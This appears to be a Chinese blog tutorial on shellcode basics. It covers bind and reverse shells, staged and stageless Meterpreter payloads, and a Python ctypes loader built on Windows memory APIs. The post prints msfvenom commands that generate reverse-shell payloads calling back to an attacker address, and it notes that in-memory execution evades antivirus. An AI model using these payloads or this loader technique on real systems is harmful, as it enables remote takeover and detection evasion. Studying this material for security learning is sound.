shellcode基础
什么是shellcode
shellcode是一段由16进制组成的机器码,因为经常可以让攻击者受到被害机器的shell而得名(但现在shellcode功能更多样,比如添加用户或者执行特殊命令,特殊进程等但是都被统称为shellcode),其特点是在于它可以无文件落地,直接在内存中运行,以至于一般杀毒软件无法查杀到。一般来说,shellcode会在目标机器上建立一个新的shell进程,然后同攻击者进行通信,接受攻击者的指令,然后返回结果。那么如何建立一个shell进程呢?在Unix中使用execve命令可以建立,而在windows下需要调用内核API来建立。
shellcode的方向
shellcode一般分为正向和反向。在msf中,我们经常会发现一个payload有reverse的前缀(表示为反向)它们的原理如下:
正向
正向的payload原理是在目标机器上打开一个端口启动服务,攻击机主动连接打开的端口获得shell。
但是这种模式存在缺点,如果网络不存在外部进入的连接,那么shell就无法建立。并且管理员也有可能会发现可疑的shell进程。
反向
反向shellcode就是为了解决网络不允许外部进入的连接而构成的。shellcode使受害机器主动来连接我们在公网上的ip,之后创建一个shell进程接受我们的命令。
stager与stageless
在msf中我们也经常看到以下payload:
1 | windows/x64/meterpreter/reverse_tcp |
这两个看起来都是一样的,便是meterpreter形式(meterpreter个人认为是一种加强了的shell,它带着一些后渗透的功能,方便操作者执行)的以反向tcp连接到攻击机。它们的区别在于上面的是stager,下面的是stageless。
stager其实是一段很简单的加载器,其目的是与攻击机建立一个隧道。 接下来攻击机想要执行另外的功能就会通过这条隧道把所需的shellcode(这里是用来执行命令的shellcode)发送到受害机,受害机载入内存执行,达到新的攻击效果。
而stageless就是把上面所需的功能给集合到一起了。只需要接受来自攻击机的命令就好,不需要在传送另外的数据。这也是为什么stageless比stager体积更大。
加载器和源码
我们在msf中通过命令
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe |
生成的shell.exe文件其实主要包含以下部分:
exe中包含关键的shellcode(其只占一小部分),更多的是加载器,加载器的目的就是把shellcode压入内存,而压入内存就代表计算机执行命令,我们成功getshell。
shellcode基础调用
因为我没有学过C语言,所以我只能使用python来调用shellcode。要使用python调用shellcode,这里需要用到以下知识:
ctypes
ctypes是python的内置的一个模块,可以实现动态链接库的调用以及c语言结构的相关的编程。既然可以调用动态链接库,那么就代表我们可以调用动态链接库中的函数。我们需要关注的动态链接库主要有kernel32.dll
,user32,dll
,ntdll.dll
,这三个动态链接库对于windows来讲都是重要的动态链接库文件。
用到的API函数
1 | VirtualAlloc |
虽然翻译的中文晦涩难懂,但是看得出来它是在申请内存地址。其参数如下:
1 | LPVOID VirtualAlloc( |
它的任务就是转移内存内容。
1 | VOID RtlMoveMemory( |
1 | HANDLE CreateThread( |
4.WaitForSingleObject
等待线程执行完成
1 | DWORD WaitForSingleObject( |
基础调用
在msf中先生成shellcode
1 | msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.137.133 LPORT=4444 -f c |
这一串就是我们的shellcode,我们需要做的就是把这一串代码压入内存。接着在开发工具中编辑以下代码。
1 | import ctypes |
试着运行一下发现程序会议某种奇奇怪怪的异常结束。
这里困扰了我很久,在网上找了半天也没遇到相近的问题,我还怀疑过是自己win11系统很特殊,于是还用过虚拟机的win10来,仍然不行。后面搞了很久,最后怀疑是shellcode问题,因为我们生成的shellcode并没有设定系统的位数,也许这会是一个突破口,遂尝试了一下。
1 | msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.137.133 LPORT=4444 -f c |
生成新的shellcode,接着同样的方法调用。
调用成功。
虽然立刻很开心的被火绒杀掉了…